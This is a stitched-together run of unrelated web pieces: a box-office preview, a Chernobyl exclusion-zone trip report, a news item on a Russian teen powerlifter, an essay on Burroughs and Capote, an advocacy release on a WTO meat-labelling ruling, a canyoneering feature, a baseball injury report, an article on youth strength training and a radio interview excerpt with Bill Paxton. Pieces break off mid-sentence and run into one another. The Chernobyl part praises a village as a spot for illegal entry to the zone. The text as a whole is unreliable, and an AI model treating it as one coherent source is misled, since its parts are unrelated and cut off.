Not to be confused with Ritchie’s 2000 Brad Pitt-starrer “Snatch,” Fox’s “Snatched” is also opening this weekend. Despite being a mid-budget R-rated comedy, the movie should give “King Arthur” (a big-budget action flick) a run for its money. Amy Schumer and Goldie Hawn star in “Snatched” as a mother and daughter whose exotic vacation goes wildly and dangerously wrong. With an early estimate in the $15 million to $17 million range, some are predicting that it will make more on faith that female-driven comedies like Kristen Wiig’s “Bridesmaids” and Schumer’s own feature debut, “Trainwreck,” are routinely underestimated at the box office. The Chernin Entertainment and Feigco Entertainment production was directed by Jonathan Levine from a script by “Ghostbusters” writer Katie Dippold.
All this to say, Disney’s “Guardians 2” should pummel its new competition on the way to a second weekend on top of the domestic box office. Even if it sees a 60% drop from its opening weekend grosses of $145 million, the sequel to 2014’s surprise hit should more than double the newcomers with around $60 million. In its first 13 days (two weekends overseas and one in the U.S.), James Gunn’s group of unlikely heroes grossed $428 million. The only race for the film now is between itself and the billion-dollar mark.For those who got sick of standart excursions with boring guides and always the same routes – a 4-day walking tour to Pripyat.
The Zone of Alienation (or simply the Zone) of the Chernobyl NPP is a closed area exposed to the pollution of long-lived radionuclides as a result of the accident at the Chernobyl nuclear power plant.
The village of Gubin is a perfect place for illegal entry to the Zone. Here is only one row of barbed wire which is very easy to walk through.
The closer to the Zone, the uglier the trees. The average background radiation is 30-40 mcR/h.
As in any forest, here is a great number of mosquitoes and gnats. A lot of wild animals and their tracks (paw prints and excriment). The lack of people allowed them to breed in a massive scale.
Most of the forests are artificial, planted in neat rows, separated by cuttings. Some cuttings are fresh, some are piled with garbage and branches. In general, the places are very beautiful.
Countless power lines stretch throughout the entire area.
23 km to Pripyat. The village of Yampol and the first night in the forest.
25 years since the Chernobyl accident did their job – now this place is inhabited by different hosts. Houses, sidewalks, lampposts, streets – everything is in the power of plants. A dosimeter shows minor deviations from the norm.
Inside of some houses you can still see stoves and the remains of the interior.
The first serious obstacle is the bridge over the Uzh river. Only 100 meters of straight road, excellent visibility, very heavy traffic and a zero possibility to jump into the bushes in order not to be noticed.
The water in the river is amazingly clear. Soft sand at the bottom and the background is only 51 mcR/h. Very hard to resist the wish to bathe.
The remains of a destroyed village and a fire tower.A 15-year-old powerlifting champion, Maryana Naumova from Russia, has met with 'The Terminator,' Arnold Schwarzenegger, and asked him to make peace between US and Russia. "He promised to work on it," she said.
The schoolgirl from the Moscow region, who currently holds the title of the strongest teenage girl in the world, met with the former California governor, film actor and bodybuilder at a sports tournament, organized as part of Arnold Sports Festival in Ohio last weekend.
Марьяна Наумова (15 лет) - самая сильная девочка в мире: pic.twitter.com/lQiFJc3Veg — Нежный (@subjectRF) March 10, 2015
After setting a new world record in the bench press, having pressed a 150 kilo (330 pounds) weight, Naumova got to meet the event's organizer, who congratulated her personally, Russian Argumenty i Fakty (AiF) daily reported. In turn, Naumova asked Schwarzenegger to become the US president and to reconcile America with Russia.
"Arnold Schwarzenegger himself congratulated me with the record and we got to talk for a while. I told him |
’s 1948 novel of gay adolescent infatuation, The City and the Pillar).
Burroughs’ arrival in Tangiers in 1954 offered new reasons to resent Capote, given that Burroughs promptly felt slighted by the city’s expatriate literary community centered around Paul Bowles (who Burroughs would only befriend some years later). In August 1954 Burroughs writes to Kerouac complaining that “[Bowles] invites the dreariest queens in Tangiers to tea, but has never invited me […] Since Tennessee Williams and Capote etc. are friends of Bowles I, of course, don’t meet them when they come here.” Despite Burroughs’ bruised tone, it is worth noting that at this point Bowles, Williams, and Capote were all successful writers while Burroughs had only one pulp novel to his (pseudonymous) name. Furthermore, Burroughs may have been misinformed as to the likelihood of encountering Capote in Tangiers, given that Capote’s sojourn in the city had occurred much earlier, in the summer of 1949. Yet the following month, Burroughs again bemoans his social exclusion to Kerouac, revealing the extent to which his sense of being ostracised in Tangiers had reopened old wounds:
I wanted to meet what there was here to meet. But they seem to have scented my being different and excluded me, just all squares instinctively do. And these people, Bowles, Tennessee Williams, Capote, are just as square as the St. Louis Country Club set I was raised with, and they sensed I was different and never accepted me as one of them.
The letter lays bare the lingering scars of Burroughs’ upbringing and his family’s uncertain status on the fringes of St. Louis society. These scars are mined in Burroughs’ later novels, with the striking claim that others can scent his “being different” neatly foreshadowing the experiences of autobiographical protagonists in The Wild Boys (“There was something rotten and unclean about Audrey, an odor of the walking dead”) and The Place of Dead Roads (“It wasn’t anything [Kim] actually did, or might do. He just did not fit.”)
In addition to reawakening his youthful sense of exclusion, Burroughs’ alienation from the Tangiers literary community presumably impinged upon familiar feelings of being an outsider among outsiders. The distaste Burroughs expresses towards Tangiers’ “dreariest queens” and his earlier camp invocations of Capote point to a characteristic antipathy towards effeminacy as expressed in Junky (“A room full of fags gives me the horrors”). As Jamie Russell discusses in his study Queer Burroughs, a letter to Ginsberg of April 1952 gives an insight into Burroughs’ view of his sexuality at this time, sent upon learning that Carl Solomon (Burroughs’ contact at Ace Books) had suggested renaming Burroughs’ manuscript Queer with the alternative title Fag. Burroughs informs Ginsberg, “Now look, you tell Solomon I don’t mind being called queer. […] But I’ll see him castrated before I’ll be called a Fag.” Explaining his position, Burroughs cites “the distinction between us strong, manly, noble types and the leaping, jumping, window dressing cocksucker.” Citing T.E. Lawrence as an example of his preferred “strong, manly, noble” type, Burroughs does not offer a specific embodiment of the alternative “type” in this binary take on homosexuality. Nonetheless, it is tempting to imagine that, when evoking the “leaping, jumping […] cocksucker”, Burroughs may have had in mind Cecil Beaton’s famous shot of Capote caught mid-air in Morocco in 1949 (familiar to later generations through its use on the cover of The Smiths’ 1985 single The Boy With the Thorn in His Side). One can only speculate on the extent to which Burroughs’ “effeminophobia” may have influenced his negative attitudes towards Capote and his work.
When Burroughs did attain literary attention with the publication of Naked Lunch, it was only natural that he should continue to move in circles distinct from those of Capote. Though the men had no direct contact, Capote’s reliable gift for scabrous opinion made it inevitable that he would find occasion to comment on the controversy generated by Burroughs’ work. By the time he did so, his own fame had continued to rise, climaxing in the much-anticipated publication of In Cold Blood in 1966. With his study of the killing of Herbert Clutter and family by Dick Hickock and Perry Smith in Holcomb, Kansas in 1959, Capote claimed to have invented a new genre, the “nonfiction novel” (culminating in a firsthand account of the murder trial which resulted in Hickock and Smith’s execution six years after the crime). Capote fiercely advocated his new literary form over other contemporary developments in American culture. Interviewed by the Chicago Daily News in 1967, Capote announced “I hate pop art to death […] Now William Burroughs. He’s what I’d call a pop writer. He gets some very interesting effects on a page. But at the cost of total lack of communication with the reader. Which is a pretty serious cost, I think.” Interviewed by Playboy the following year, Capote cited Burroughs’ work when defending his conviction that the journalistic style of In Cold Blood “is really the most avant-garde form of writing existent today […] creative fiction writing has gone as far as it can experimentally. […] Of course we have writers like William Burroughs, whose brand of verbal surface trivia is amusing and occasionally fascinating, but there’s no base for moving forward in that area.” Meanwhile, asked his opinion of Capote in The Job (1969), Burroughs supplied his own underwhelming verdict: “I thought that Capote’s earlier work showed extraordinary and very unusual talent, which I can’t say for this In Cold Blood, which it seems to me could have been written by any staff editor on The New Yorker.”
Despite this measured criticism, behind the scenes Burroughs’ feelings towards Capote had obviously continued to fester. The “Open Letter to Truman Capote” held in the Burroughs Archive duplicates Burroughs’ remark that In Cold Blood “could have been written by any staff writer on the New Yorker,” but adds much else besides. Written in direct response to the flurry of popular interest generated by the book, Burroughs takes as his starting point Kenneth Tynan’s damning review in the Observer newspaper. Tynan identified a moral queasiness at the heart of the book’s construction, suggesting that, in order to ensure his work in progress would receive the ideal narrative closure, Capote chose not to help overturn the conviction of Hickock and Smith:
For the first time an influential writer of the front rank has been placed in a position of privileged intimacy with criminals about to die, and — in my view — done less than he might have to save them. […] An attempt to help (by supplying new psychiatric testimony) might easily have failed: what one misses is any sign that it was ever contemplated.
Capote’s biographer Gerald Clarke avows that “Tynan’s thesis was based on a sloppy reading of the book and false assumptions about Kansas law.” However, Clarke does concede that, though “Truman could not have saved Perry and Dick if he had spent one million dollars, or ten million […] Tynan was right when he suggested that Truman did not want to save them.” The ethical ambiguity surrounding Capote’s bestseller has remained a source of fascination, providing the basis for the two biopics which emerged within quick succession in the last decade, Capote (2005) and Infamous (2006).
Burroughs’ “letter” begins with an explanation to Capote that his “is not a fan letter in the usual sense.” Acting as spokesman for a “department” with apparent responsibility for determining writers’ fates, Burroughs announces that he has followed Capote’s “literary development from its inception” and, in the line of duty, has conducted exhaustive inquiries comparable to those undertaken by Capote in his research for In Cold Blood. An engagingly surreal touch finds Burroughs reporting that these inquiries have included interviewing all of Capote’s fictional characters “beginning with Miriam” (the title character of Capote’s breakthrough story of 1945). Referring to “the recent exchange of genialities” between Capote and Kenneth Tynan, Burroughs concludes that Tynan “was much too lenient.” Going one step further than Tynan and accusing Capote of acting as an apologist for hard-line methods of police interrogation (and thus supporting those “who are turning America into a police state”), Burroughs next turns to the question of Capote’s writing abilities. Avowing that Capote’s early short stories were “in some respects promising,” Burroughs suggests Capote could have made positive use of his talents, presumably by applying them to the expansion of human consciousness (“You were granted an area for psychic development”). Instead, Burroughs finds that Capote has sold out a talent “that is not yours to sell.” In retribution for having misused “the talent that was granted you by this department”, Burroughs starkly warns “That talent is now officially withdrawn,” signing off with the sinister admonition, “You will never have anything else. You will never write another sentence above the level of In Cold Blood. As a writer you are finished.”
It should be noted that, at the time of writing, Burroughs was a credulous believer in the efficacy of curses (famously believing he had successfully used tape recorders to close down a London restaurant where he had received bad service). Regardless of how seriously Burroughs intended his prediction for Capote’s future, his words proved eerily prescient. After the publication of In Cold Blood, Capote announced work on an epic novel entitled Answered Prayers, intended as a Proustian summation of the high society world to which he had enjoyed privileged access over the previous decades. The slim existing contents were eventually published posthumously while one of the few extracts which saw publication within Capote’s lifetime notoriously employed Capote’s habit of indiscretion to disastrous effect. When “La Côte Basque, 1965” was published by Esquire in 1975, Capote’s betrayal of the confidences of friends (who recognized the identities lurking beneath the veneer of fictionalized characters) resulted in swift exile from the celebrity world which Capote had courted for much of his career.
Given Burroughs’ curse on Capote, it is interesting to note that, in the years before his death, Capote’s dismissive views on Burroughs’ work became even more damning: “Norman Mailer thinks William Burroughs is a genius, which I think is ludicrous beyond words. I don’t think William Burroughs has an ounce of talent.” By the time these remarks were recorded by Lawrence Grobel in Conversations with Capote, successful canvassing by Mailer among others had resulted in Burroughs’ admission to the American Academy and Institute of Arts and Letters in 1983. After a long decline, wrought by the inability to break a harrowing cycle of alcohol and barbiturate abuse, Capote died the following year at the age of 59.
Written by Thom Robinson and published by RealityStudio on 11 July 2011.A U.S. law requiring the simple labeling of meat and poultry products for the country of origin (COOL) was determined to violate trade rules by a dispute panel at the World Trade Organization (WTO) today.
The ruling demonstrates again how trade rules have been rigged to benefit multinational corporations and run counter to the interests of consumers who want more information about the food they purchase and farmer and ranchers who target local markets.
Knowing where your food comes from is an important right for consumers all over the world. This ruling is also a loss for farmers and ranchers who are selling to domestic, local markets and who want to build stronger connections with consumers. Trade rules should never get in the way of greater transparency in the marketplace. The USDA should not give in to the WTO on COOL in the short term, and should appeal the ruling. In the long term, we need to reform or throw out trade rules that undermine consumers and farmers.
The WTO ruled that COOL favored U.S. producers over those from other countries, arguing that the costs of the recordkeeping and segregation required was too high to justify the informational benefit to consumers. The WTO ruled "the detrimental impact caused by the amended COOL measure's labelling and recordkeeping rules could not be explained by the need to convey to consumers information regarding the countries where livestock were born, raised, and slaughtered." The WTO encouraged the U.S. to begin negotiations with Canada and Mexico (the countries bringing the challenge) to explore other options for food consumer labeling.
The Obama Administration should appeal this unjust WTO ruling, and no legislative changes should be made to COOL until all legal avenues have been completed at the WTO. The Administration has 60 days to appeal. An appellate body would issue a final WTO ruling, which would likely take an additional six months. Without an appeal, Canada and Mexico could start levying sanctions against U.S. goods until the law is changed. The U.S. should explore all avenues at their disposal to actively defend consumers’ right to know.
Despite nearly 90 percent of consumers supporting COOL, it has long been targeted by big meat companies like Cargill, Tyson Foods, Smithfield Foods and JBS USA since the 2002 and 2008 Farm Bills required such labeling. While COOLs for other foods like fruits and vegetables are firmly in place, the multinational meat companies aggressively fought the rule. The big meat companies often move cattle and pigs across borders during different stages of the finishing process. Some meat plants are processing animals from multiple countries. Meeting the COOL standard often resulted in a confusing label indicating that the meat came from multiple countries.
The meat and poultry industry in Canada and Mexico challenged the U.S. COOL law at the WTO in 2008, alleging that the law discriminated against producers in those countries. The WTO ruled in favor of Canada and Mexico in 2011, concluding that the law created economic incentives for the meat companies to only use animals born, raised and slaughtered in the same country – in order to avoid a mixed-origin label. In 2013, the USDA attempted to address the WTO ruling by consulting with the US Trade Representative and listening to more than 35,000 consumer comments which called for a stronger COOL label. The USDA strengthened the COOL label to include separate, clear information on where the animal was born, raised and slaughtered – which eliminated mixed-origin labels. The WTO ruling concluded that the USDA’s new COOL requirements still discriminated against Mexican and Canadian meat producers.
The ruling also further complicates the Obama administration’s beleaguered effort to obtain Fast Track trade authority for two major agreements, the Trans-Pacific Partnership (TPP) and the Transatlantic Trade and Investment Partnership (TTIP), both of which would expose the United States to more such trade challenges against U.S. consumer, environmental and other policies.
It’s hard to make an argument for expanding the rights of corporations in future trade agreements when the trade rules we already have are striking down common-sense laws like COOL.“Whoo hooo” echoes through Yankee Doodle slot, a rocky gash in Dixie National Forest, not far from Utah’s Zion National Park.
My son, Joe, is celebrating midway down the canyon’s biggest rappel, a 130-foot drop that starts with working your way around a large boulder, then requires a mid-course correction, swinging from one slab of angled rock to another.
At the sandy bottom, in the shade of a lonely tree, we rest and enjoy the view. “It looks like someone took a knife and carved the rock,” says my daughter, Ann Burns.
She’s gazing up at the fluted wall of golden Navajo sandstone, encircling a patch of sky blue. This is our first foray into canyoneering, a relatively young sport (called canyoning in Europe) combining climbing, rappelling, bouldering, swimming and hiking. Yes, it’s thrilling, an opportunity to explore stunning underground Edens. But it’s also an exercise in problem solving. Around every blind corner is a new challenge.
Over the course of a few hours, we’ll clamber over boulders, “chimney” over dank water between narrow walls, bracing our backs against one side and our feet against the other. We’ll cautiously climb down a boulder only to drop into a cold, muddy trough of foul-smelling water. Later, we’ll solve the problem of escaping a “keeper hole,” a round pool of uncertain depth. It turns out there is more than one solution, including finding a hidden underwater foothold or using your momentum and well-placed hands to create the “beached whale” technique, flopping out on your belly.
The walls swoop in tight, then flare out, the rock seeming to flow. The light from above casts golden highlights, then deep, foreboding shadows. The rock, sculpted by water over millions of years, seems to flow in rivers of butter and camel sandstone sometimes varnished in streaks of black. At times, it’s like walking into Jules Verne’s Journey to the Center of the Earth.
“It’s kind of like the Average Joe’s extreme sport,” says Jeremy Draper, who has been guiding canyoneering trips for the better part of a decade. “You see some cool stuff and get a little excitement sliding down ropes.”
Darren Jeffrey is the president and founder of Alpine Training Services, based in Los Angeles (yes, L.A. – he says there are about 60 canyoneering routes in the city). “The appeal for the average person is there’s a high level of perceived risk and a manageable level of actual risk,” he says. While accidents are rare, people have died canyoneering, drowned in flash floods and “keeper holes” they couldn’t escape. Every experienced canyoneer seems to have a story or two about a close call.
Perhaps the most famous canyoneering accident is Aron Ralston’s misadventure as depicted in the recently re-released film 127 Hours. Ralston was navigating Utah’s Bluejohn Canyon’s narrowest section when a chokestone fell, trapping his hand, requiring him to amputate it below the elbow after five days. Disaster aside, audiences of the movie still got a sense of the rocks and water allure of the sport.
Even though the sport started in Europe during the 1970s, Utah is the capital of the sport, attracting rock climbers and mountaineers. Other regions, including the Grand Canyon, Death Valley and Lake Powell have since opened up.
Jeffrey is enthusiastic about using new techniques in Hawaii, New Zealand, where volcanic rock and foliage highlight the hikes, and the West coast of the United States, where serious swimming is need to navigate water canyons and rappel down waterfalls. “It’s beyond what most people can comprehend when they think of canyoneering,” he adds. “We like to be out where it’s pristine and lush with fast-moving water.”
Steve Ramras, who climbs up mountains or clambers down into canyons for 120 days a year, started canyoneering in the late 1970s with college buddies. He’s watched as the sport has slowly become more popular and more technical. “I used to go a whole season without seeing footprints in many of the canyons,” he says. “That’s not necessarily true anymore, but there’s still a limited number of canyons that there’s information on (and amateurs explore).”
Tom Jones, a Utah guide who also sells gear, says techniques have improved so that the sport is safer than before. “But we’re also doing a lot harder canyons,” he adds. “So it may be a good thing we didn’t find some of the canyons we’re finding now back then.”
Ramras, 56, owns a janitorial service in Fort Collins, Colorado, and on the side has written a series of stories about his canyoneering journeys, Tales of an Incompetent Adventurer with titles like “Close to the Edge, and “The Mud, the Blood, and the Fear.” This spring, he will join a month-long hybrid expedition running the whitewater of Colorado River through the Grand Canyon and exploring slot canyons.
Canyoneering, Ramras notes, is different from climbing. If you’re climbing and can’t go any further, you rappel down to the ground and walk out. In canyoneering, once you rappel down into a slot and pull the ropes behind you, you’re committed. “There are all sort of levels [of difficulty] of canyons,” he says. “The majority of them are relatively easy. But there are still some out there where you can run into some pretty big surprises.”
He recalls doing one “beginner” canyon after a snowstorm. Suddenly, what were usually easy strolls over slick rock became dangerous and challenging.
Ramras and Jones and a few others created “Freeze Fest” in the North Wash of Utah, which celebrated its ninth anniversary earlier this year. It’s an extreme, adult camp-out beginning on New Year’s Eve. The brave and the chilly get up each morning and decide which canyons are “relatively safe” to explore. This year, it rained and then snowed, and temperatures dipped into the teens. Still, more than 30 people showed up.
“We refer to it as the stupid idea that caught on,” he says, dryly. “Margins for mistakes are low that time of the year. We don’t recommend the activity for the general public.”
The duo build teams to tackle the mystery and challenge of unexplored canyons. “Forming a group of people who can bring their expertise to bear in a challenging environment is its own reward,” Ramras says.
“Half the time I’m really confident and I don’t have any qualms,” Jones adds, “and then half the time it seems like a really stupid thing.” They walk the rims, if possible, to get a sense of what’s below. They may send someone rappelling over the side for a look. In some instances, a team on the rim may observe, ready to drop a rope and help those below climb out.
“It’s a lot like fun, but different,” Ramras says, laughing, a phrase favored by veteran canyoneers. For Jones, more than a decade after his first sojourns through the slots, the appeal endures.
“Every day in a canyon is just really fun,” Jones adds. “There are canyons I’ve done guiding a hundred times, but every time I go out there I’m still impressed by their beauty.Matt Kemp reacts after hurting his shoulder during a second-inning at-bat on Friday. (Photo: Kyle Terada, USA TODAY Sports) Story Highlights Kemp hurt shoulder during second-inning at-bat
"I never felt anything like that in my shoulder before," he said
Kemp doesn't expect to miss more than a few games
SAN FRANCISCO – The cortisone shot had taken effect, and Matt Kemp's troublesome left shoulder felt much better after the Los Angeles Dodgers' 10-2 victory Friday night against the San Francisco Giants.
The painful episode that forced him out of the game was still quite fresh on his mind, though.
Kemp was replaced by pinch-hitter Carl Crawford in the Dodgers' six-run third inning after hurting his surgically repaired shoulder on a swing in the second. Kemp initially stayed in the game and walked, but left when his next at-bat came up.
The team listed him as day-to-day with irritation of the AC joint, which connects the shoulder to the collarbone. Manager Don Mattingly said he didn't expect this to be the kind of injury that sends Kemp to the disabled list.
REPORTING FOR DUTY: Manny back in the minors
"I never felt anything like that in my shoulder before. I felt it was worse than when I ran into the wall,'' said Kemp, referring to the Aug. 28 game in Colorado when he first hurt the shoulder.
"I thought I was done, but then I moved it around a little bit and it felt OK. But I tried to take some swings in the cage and it was hurting a lot, so I had to pull out of the game.''
The extended recovery from the shoulder operation likely contributed to Kemp's poor start this season. He was batting.251 with two homers and 17 RBI when he went on the DL with a hamstring strain May 30.
Kemp ruled himself out of Saturday's game but left open the possibility of playing Sunday, although it's doubtful he'll return to the lineup before the three-game series at Arizona that begins Monday. Fellow outfielder Crawford was activated from the DL Friday, so there's no need for Kemp to rush back.
Plus, Kemp might have been feeling overly optimistic after the cortisone shot made the pain go away.
"Right now I feel good. Cortisone is great. Cortisone will make anything feel better,'' Kemp said. "But tomorrow we'll see how it is.''
TOUCHING TRIBUTE: Angels ace names child after ex-teammateIn the first part of this article, we examined the forces placed on a young athlete through strength training. Through multiple scientific formulas, we demonstrated that the forces placed on an athlete through running, jumping, cutting, and other athletic movements is significantly higher than the forces placed on an athlete through weight training.
In this second part, we are going to look at more research regarding 1RM testing and break down multiple falsehoods about why young athletes should not strength train.
What does the research say about the relative safety of weight training and children?
So we’ve heard it time and time again from coaches, parents, and “professionals” that weight training will injure your children.
Children should not strength train. It is dangerous and hazardous. It usually goes something like this: if you strength train your kid, they’ll be FUBAR! You can’t have children lift heavy weights or 1 RM’s because it will cause structural damage. If you strength train young athletes, you will injure their growth plates and stunt their growth. Children can’t get strong because they don’t produce enough testosterone.
So what does the research say about the above comments that we hear about every day?
There is no statistically convincing evidence in the scientific literature that weightlifting or weight training are particularly hazardous. The overwhelming impression from the surveys and literature is that both are markedly safer than many other sports, certainly when supervised by qualified people (8).
Findings from the 2012–2013 High School Sports-Related Injury Surveillance Study revealed that participation in team sports resulted in an estimated 1.36 million injuries at a rate of 2.16 injuries per 1,000 athlete exposures (i.e., practices and competition). Of the nine sports studied, football had the highest injury rate (3.87 injuries per 1,000 athlete exposures), whereas boys’ baseball (0.88) and girls’ softball (0.89) had the lowest injury rates (9).
RECENT: Strength Training for Young Athletes — Benefits, Appropriate Starting Age, and Lifting Heavy Weight
Data comparing the relative safety of resistance training, weightlifting, and other sports are limited. In a retrospective evaluation of injury rates in adolescents, it was revealed that resistance training and weightlifting were markedly safer than many other sports and activities. In this report, the overall injury rate per 100 participant hours was 1.92 for rugby and 0.0027, 0.0120 and 0.0013 for powerlifting, resistance training and weightlifting, respectively. (8)
Multi-Sports Comparative Injury Rates (Hamill, 1994)
A study published in the November/December 2001 issue of the Journal of American Academy of Orthopaedic Surgeons cited research showing that in children ages five to 14 years, the number of injuries from bicycling was almost 400 percent greater than the number of injuries from weightlifting (10).
In a review paper on resistance training for prepubescent and adolescents published in 2002 in Strength and Conditioning Coach, author Mark Shillington reported in a screening of sports‐related injuries in school-aged children that resistance training was the likely cause of only 0.7 percent (or 1,576) of injuries compared with 19 percent for football and 15 percent for baseball (11).
Dr. Avery Faigenbaum, one of the leading research scientist in the children and strength training field, has reported that for over 17 years he and colleagues conducted strength training classes for children, ages six to 12, without a single injury.
The truth is that weight training and competitive lifting sports are among the safest activities an athlete can participate in. This fact is known worldwide. Renowned Russian sports scientist Vladimir Zatsiorsky in his book “Science and Practice of Strength Training” states, “The risk of injury from a well coached strength training program has been estimated to be about one per 10,000 athlete‐exposures, with an athlete‐exposure being defined as one athlete taking part in one training session or competition. Compared to tackle football, alpine skiing, baseball pitching, and even sprint running, strength training is almost free of risk.” (12)
What does the research tell us about 1RM testing for young athletes?
Another area of potential injury concern for children and pubescent/adolescents is the use of max testing (1RM). The argument that weightlifting is inherently more dangerous than weight training because it involves single, maximum efforts implies that other sports, considered safer, do not. In fact, jumping, kicking, striking, tackling, and throwing are often single maximum efforts. The last repetition of a set in weight training is frequently a maximum effort. (8)
Most of the forces that youth are exposed to in various sports and recreational activities are likely to be greater in both exposure time and magnitude than competently supervised and properly performed maximal strength tests. These observations along with current research findings indicate that the maximal force–producing capabilities of healthy children and adolescents can be safely evaluated by 1RM testing procedures, provided that youth participate in a habituation period before testing to learn proper exercise technique, and qualified professionals closely supervise and administer each test (4).
Some clinicians and researchers have not used 1RM testing to evaluate training-induced changes in muscular strength because of the presumption that high-intensity loading may cause structural damage in children. Thus, the maximal force production capabilities of children have not been directly evaluated in some studies, yet no injuries have been reported in prospective studies that utilized adequate warm-up periods, appropriate progression of loads, close and qualified supervision, and critically chosen maximal strength tests (1RM performance lifts, maximal isometric tests, and maximal isokinetic tests) to evaluate resistance training–induced changes in children (4). In a study, 96 children performed a 1RM strength test on one upper-body and one lower-body weight machine exercise. No abnormal responses or injuries occurred during the study period, and the testing protocol was reportedly well tolerated by the subjects (13). In other reports, children and adolescents safely performed 1RM strength tests using free weight exercises (14, 15, 16, 17, 18, 19, 20, 21, 22, 23). Faigenbaum and others have shown max testing to be safe in these age groups (4, 24, 25).
It should be noted that researchers emphasize that when performing 1RM max testing, maintaining technique is critical. A multi-rep max (e.g., 3 – 5 RM) may even be preferred to a 1RM in certain situations, especially where training age (i.e. number of years experience in resistance training) is less than three to four years or physical development is behind what is expected for the chronological age (4). They also recommended that NSCA-prescribed guidelines for lifting technique should always be followed (26).
But you'll injure their growth plates and stunt their growth!
Although children and adolescents are susceptible to injury to the growth cartilage, the potential for this type of injury may be less in a preadolescent child than in an adolescent because the growth cartilage may actually be stronger and more resistant to sheering type forces in younger children (4, 27). To date, injury to the growth cartilage has not been reported in any prospective youth resistance training research study. Furthermore, there is no evidence to suggest that resistance training will negatively impact growth and maturation during childhood and adolescence (4, 28, 29).
Malina examined the effects of resistance training programs on pre- and early-pubertal youth in the context of response, potential influence on growth and maturation, and occurrence of injury. The estimated injury rates were 0.176, 0.053, and 0.055 per 100 participant-hours in the programs. These extremely low injury rates were attributed to the high levels of supervision and low instructor to participant ratios. They concluded that weights and resistance machines and with supervision and low instructor/participant ratios are relatively safe and do not negatively impact growth and maturation of pre- and early-pubertal youth (30).
Mel Siff in Facts and Fallacies of Fitness states, “It has never been shown scientifically or clinically that the periodic imposition of large forces by weight training on the growing body causes damage to the epiphysial plates." Siff also notes that bone density scans have proven that youngsters who do competitive weightlifting (i.e., the snatch and the clean and jerk) have higher bone densities than children who do not use weights, and that clinical research has not shown any correlation between weight training and epiphysial damage (7).
As far as stunting a child’s growth, there is no current evidence to indicate a decrease in stature in children who regularly strength train in a supervised environment with qualified instruction. In all likelihood, participation in strength training will have a favorable influence on growth at any stage of development but will not affect a child’s genetic height potential (31).
MORE: How To Develop Strength in Untrained Children
As with muscles, bones become stronger in response to stress, and the activities involving the highest levels of stress can encourage the formation of stronger bones. An extensive Russian study on young athletes, published in a book entitled School of Height, concluded that heavy lifting tends to stimulate bone growth in young athletes rather than inhibit it. (32)
Children cannot increase strength through strength training because they do not produce enough testosterone
Testosterone is not essential for achieving strength gains, as evidenced by women and elderly individuals who experience impressive gains in strength even though they have little testosterone. When compared on a relative or percent basis, training-induced strength gains in children are comparable to those in adolescents and adults (31). You are fooling yourself if you think your child can’t get stronger.
Conclusion
It should be a no-brainer that young athletes embrace strength training. The benefits of strength training will yield bigger and stronger bones, tendons, ligaments and muscles. These benefits allow the body to be more resistant to all of the external forces and demands being placed upon it in athletic sports training and lower the possibility of injury.
Meanwhile at Competitive Edge APC….
At our facility when we begin working with an athlete, the primary focus is on good technique. Once proper form and technique is established, we load our athletes and get them strong. What we’ve seen through training our athletes throughout the years is that it takes a good three years of consistent strength training to build a solid foundation of strength. This is the point that we see in our athletes training where the muscles, bones and connective tissues (tendons, ligaments) really start getting strong and when our athletes start hitting impressive numbers on ALL performance measures.
When we hear parents, coaches, therapists and others telling their athletes not to strength train because they are afraid the strength training will hurt them or because they’ll become bulky and slow, we laugh. We know when our athletes meet on the field, ours will be running right through yours! When our 6-foot, 225-pound fullback who power cleans 250 pounds, bench presses 325 and squats 450 faces off against your 155-pound linebacker with no weight training experience, things will not end well for the other guy.
If your child is participating in a speed school/camp because you’re afraid that weightlifting is going to hurt your child, you’ve been sold a line by some weak, nimble-armed shyster. You’re now armed with the facts why strength training is not only safe, but probably the most important thing you can do to protect your child from injury.
Unfortunately, we do not have enough competent strength coaches nor do we have any standards for someone to call themselves a strength coach. Because of this, the uneducated continue to promote the idea that strength for training young athlete is a wrong and that it will hurt them and stunt their growth. Armed with the above information, it’s up to people to call these people out and educate them not only the benefits of strength training but the sheer necessity of it to protect them from injury when they begin playing at higher levels.
References
Micheli L. Preventing Injuries In Sports: What The Team Physician Needs To Know. In: Chan K, Micheli L, Smith A, Rolf C, Bachl N, Frontera W, Alenabi T, Eds. F.I.M.S. Team Physician Manual, 2nd Ed. Hong Kong: CD Concept; 555-572, 2006. PEDIATRICS. American Academy Of Pediatrics. Committee On Sports Medicine. Strength Training By Children And Adolescents. Vol. 107 No. 6 June 2001June 2001. American College Of Sports Medicine (ACSM). Current Comment 'Youth Strength Training.' March 1998. Faigenbaum, Avery D., Et Al. "Youth Resistance Training: Updated Position Statement Paper From The National Strength And Conditioning Association." Journal Of Strength And Conditioning Research 23.5 (2009): S60-S79. American College Of Sports Medicine (ACSM). "The Prevention Of Sports Injuries Of Children And Adolescents." Medicine & Science In Sports & Exercise, 1993, 25 (8, Supplement), 1-7. Micheli, L.J. Physiological and orthopaedic considerations for strengthening the prepubescent athlete. Nat. Strength Condo Assoc. J. 7(6):26-27.1986 Siff, M.C. (2003). Facts and Fallacies of Fitness. Denver: Supertraining Institute. Hamill, B. Relative safety of weight lifting and weight training. J Strength Cond Res 8: 53–57, 1994. Centers for Disease Control and Prevention. Sports-related injuries among high school athletes—United States, 2005–06 school year. MMWR Morb Mortal Wkly Rep 55: 1037–1040, 2006. J.M. Purvis, R.G. Burke |
"A Simple Plan." And, again, in this movie you, your brother played by Billy Bob Thornton and a friend come upon this plane that's crashed - a small plane, and there's $4 million there. You decided to keep it, although your character knows that it's morally the wrong thing.
B. PAXTON: Yes.
GROSS: But you do it anyways because it's too irresistible. You have to cover up that you're keeping the money and then you commit a murder, and you have to cover up the murder. And one bad deed leads to another bad deed.
B. PAXTON: Once you start digging that hole, the more you dig the deeper you get in.
GROSS: Right. In this scene, your brother who's kind of a little mentally slow and socially slow, your brother played by Billy Bob Thornton has asked you to meet him at the farm that your parents used to own and...
B. PAXTON: Poignant scene.
GROSS: Yeah. You've already both murdered somebody. Your brother's asked you to meet you at the farm. It's now broken down in total disrepair. Your brother tells you that he'd actually like to buy back the farm and live there. Let's hear the scene.
(SOUNDBITE OF FILM, "A SIMPLE PLAN")
B. PAXTON: (As Hank) Jacob, farming? Come on. You don't just buy a farm. You got to work it. You got to know about machinery and seed.
BILLY BOB THORNTON: (As Jacob) I know that.
B. PAXTON: (As Hank) No, you don't. Fertilizers, pesticides, herbicides, drainage, irrigation, the weather - come on, you don't know about any of that stuff. You're going to end up just like dad.
THORNTON: (As Jacob) Why do you think he ended up like that?
B. PAXTON: (As Hank) I'll tell you how we ended up like that. He had two mortgages riding on the place. He couldn't make the payments.
THORNTON: (As Jacob) Where do you think the money went?
B. PAXTON: (As Hank) He was a bad businessman.
